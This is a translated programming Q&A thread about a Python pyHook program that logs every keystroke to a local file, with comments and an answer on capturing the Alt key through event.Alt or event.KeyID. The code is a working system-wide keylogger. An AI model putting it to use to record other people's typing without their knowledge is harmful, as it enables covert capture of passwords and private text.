2012-11-21 34 views
2

當我遇到問題時,我正在寫這個類型錄製程序 - Alt鍵沒有Ascii號碼,所以我不能以常規方式掛接它。 這是我的源代碼沒有Alt掛鉤嘗試,問題是 - 我怎麼鉤Alt? 我知道有名爲「Alt」的類變量和名爲「IsAlt」的內置函數,但我沒有得到如何使用它們。Python Alt Hooking

import pythoncom,pyHook 

log = "" 
logpath = "log.txt" 

openfile = open(logpath,"w") 
openfile.write("") 

def OnKeyboardEvent(event): 
    try: 
     global log 
     if event.Ascii == 8: 
      log = "[BS]" 
     elif event.Ascii == 9: 
      log = "[TAB]" 
     elif event.Ascii == 13: 
      log = "[NL]" 
     elif event.Ascii == 27: 
      log = "[ESC]" 
     elif event.Ascii == 15: 
      openfile.close() 
      exit() 
     else: 
      log = chr(event.Ascii) 
     openfile.write(log) 
    except: 
     pass 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages() 
+0

我相信在每個KeyboardEvent上,你必須檢查是否也設置event.Alt來檢測Alt修飾鍵是否被同時按下。我會建議運行[示例](http://sourceforge.net/apps/mediawiki/pyhook/index.php?title=PyHook_Tutorial#Keyboard_Hooks)代碼,並觀察針對不同組合鍵生成的事件數據。 – martineau

+0

謝謝,這真是有幫助! – Doron

+0

不客氣。快樂的吸引力! ;-) – martineau

回答

0

我發瘋了!而不是使用「event.Ascii」來映射鍵,使用「event.KeyID」! 請注意,對於像「AltGr」這樣的按鍵,您有2個映射按鍵ID:1個用於按下按鍵,其他按鍵用於釋放按鍵。祝你有美好的一天。